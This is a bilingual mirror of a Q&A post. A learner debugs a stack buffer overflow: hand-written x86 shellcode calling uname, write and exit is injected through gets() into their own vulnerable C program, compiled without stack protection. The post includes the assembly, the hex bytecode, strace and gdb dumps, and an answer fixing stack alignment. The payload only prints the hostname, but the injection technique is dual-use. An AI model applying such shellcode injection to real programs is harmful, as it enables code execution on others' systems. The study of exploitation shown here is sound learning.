缓冲区溢出中的Uname系统调用 [英] Uname syscall in buffer overflow

查看:57
本文介绍了缓冲区溢出中的Uname系统调用的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在尝试学习缓冲区溢出的基础知识,因此我编写了以下代码以将其注入到缓冲区中:

I am trying to learn the basics in buffer overflow so I have written the following code to inject it in a buffer:

//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size (as I only want "Kali" string)   
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

上面的代码有效,并具有以下字节码(也可以):

The above code works and has the following bytecode (which also works):

\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

该字符串(带有一些NOP和最后指向堆栈的地址)通过易受攻击的 get()函数传递给目标程序.执行后,可以看到在 strace 命令的以下输出中调用了uname syscall:

This string, with some NOPs and the address at the end pointing to the stack, is passed to the target program through the vulnerable get() function. When executed it can be seen that the uname syscall is called in the following output from strace command:

(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

我不明白的是为什么当检查gdb中的核心转储以查看为什么引发分段错误时,我看不到整个堆栈中任何地方的字节码.难道是uname正在覆盖它?因为理论上有足够的空间(390个字节).我想念什么吗?

What I don't understand is why when checking the core dump in gdb to see why is throwing a segmentation fault I can't see my bytecode anywhere of the entire stack. Could be that uname is overwriting it? Because in theory there is enough space, 390 bytes. Am I missing something?

谢谢

更新:

main调用的易受攻击的函数如下所示:

The vulnerable function called by main looks like this:

void function() {
    char buf[100];
    gets(buf);
    printf(buf);
}

我已经使用gdb完成了单步调试,并且字节码已正确放置在堆栈中,但是我不能(不知道如何)调试在堆栈中执行的指令.

I have done single stepping debug with gdb and the byte code is placed correctly in the stack but I can't (don't know how) debug instructions executed in the stack.

strace 的输出中可以看到(这表明二进制调用了哪些系统调用),最后要做的是 uname 调用.这就是为什么它会覆盖堆栈中的指令的理论(触发分段错误时的eip为:0xbffff350).

As can be seen in the output of strace (which indicates which syscalles are called by the binary) the last thing done is the uname call. That's why the theory that it is overwriting the instructions in the stack (the eip when the segmentation fault is triggered is: 0xbffff350).

在返回main之前,这里是堆栈值(实际上,它将返回到堆栈地址的顶部):

Here the stack values when just before returning to main (in fact, it will return to the the top of the stack address):

(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff300: 0x90    0x90    0x81    0xc4    0x7a    0xfe    0xff    0xff
0xbffff308: 0x89    0xe3    0x31    0xc0    0x04    0x7a    0xcd    0x80
0xbffff310: 0xb0    0x04    0x31    0xdb    0xb3    0x01    0x8d    0x4c
0xbffff318: 0x24    0x41    0x31    0xd2    0x80    0xc2    0x05    0xcd
0xbffff320: 0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0x90
0xbffff328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

另外,当运行可执行文件并在gdb中传递字节码(运行< byteCodeFile)时,不会触发分段错误,但会正常退出",尽管它不会打印任何内容.

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

UPDATE2:

另外,当运行可执行文件并在gdb中传递字节码(运行< byteCodeFile)时,不会触发分段错误,但会正常退出",尽管它不会打印任何内容.

Also when running the executable and passing the bytecode in gdb (run < byteCodeFile) the segmentation fault is not triggered but an "exited normally" althought it doesn't print anything.

实际上,它正在打印某些内容.有时,单词"kali"(这样可以正常工作),有时只有一两个字节.

In fact it is printing something. Sometimes the word "kali" (so it works properly) and other times just a byte or two.

UPDATE3:

从核心转储启动时,gdb的输出为:

The ouput of gdb when started with the core dump is:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff350 in ?? ()

它调用 uname 函数并引发分段错误.

It calls uname function and throws segmentation fault.

在内部运行程序时运行gdb的输出(运行< byteCodeFile):

The ouput of gdb when running the program inside (run < byteCodeFile):

��[Inferior 1 (process 5271) exited normally]

因此它先打印出一些内容,然后退出.

So it prints something and then it exits.

使用以下选项完成程序的编译:

The compilation of the program is done with this options:

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c

UPDATE4:

我已将 390 更改为 500 ,使其为4的倍数,就像@Jester在评论中指出的那样.现在它可以在终端上运行,但不能在gdb和新终端上运行.我认为这与以下事实有关:它们具有另一种内存布局,因此必须更改字节码末尾的地址.

I have changed 390 to 500 to be multiple of 4 as @Jester has pointed in the comments. Now it works in the terminal but not in the gdb and in a new terminal. I think it is related as the fact that they have another memory layout so the address at the end of the bytecode has to be changed.

问题

1.-当不使用gdb执行易受攻击的程序时,为什么会触发分段错误,为什么在分析核心转储时在堆栈的任何位置都未显示字节码?

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

2.-当使用gdb执行程序(运行< byteCodeFile)时,为什么会得到不同的结果?Uname会始终用相同的信息填充esp(仅在开始时才进行修改)的缓冲区,因此write应该始终正确地进行操作,不是吗?

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

推荐答案

最终的汇编代码如下(仅将-390更改为-500):

The final assembly code looks like this (only changed -390 to -500):

//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size    
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

最后的字节码:

\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

1.-当不使用gdb执行易受攻击的程序时,为什么会触发分段错误,为什么在分析核心转储时在堆栈的任何位置都未显示字节码?

1.- When gdb is not used to execute the vulnerable program why the segmentation fault is triggered and why the bytecode is not shown anywhere in the stack when analysing the core dump?

看来问题是390不是4的倍数,所以它引起了一些错误.整个字节码的大小也是错误的.

It seem that the problem was 390 is not a multiple of 4 so it caused some errors. Also the entire bytecode size was wrong.

2.-当使用gdb执行程序(运行< byteCodeFile)时,为什么会得到不同的结果?Uname会始终用相同的信息填充esp(仅在开始时进行修改)的缓冲区,因此write应该始终正确地进行操作,不是吗?

2.- When gdb is used to execute the program (run < byteCodeFile) why it gets different results? Uname will fill the buffer from esp (which is only modified at the begining) always with the same information so write should do it correctly always, isn't it?

gdb中的地址必须不同于通过终端加载程序时使用的地址,因为它加载了环境变量.这可以在这里更好地解释:缓冲区溢出在gdb中有效,但在没有它

The address in gdb has to be different from the one used to exploit the program through the terminal as it loads environment varibles. This is better explaint here: Buffer overflow works in gdb but not without it

这篇关于缓冲区溢出中的Uname系统调用的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆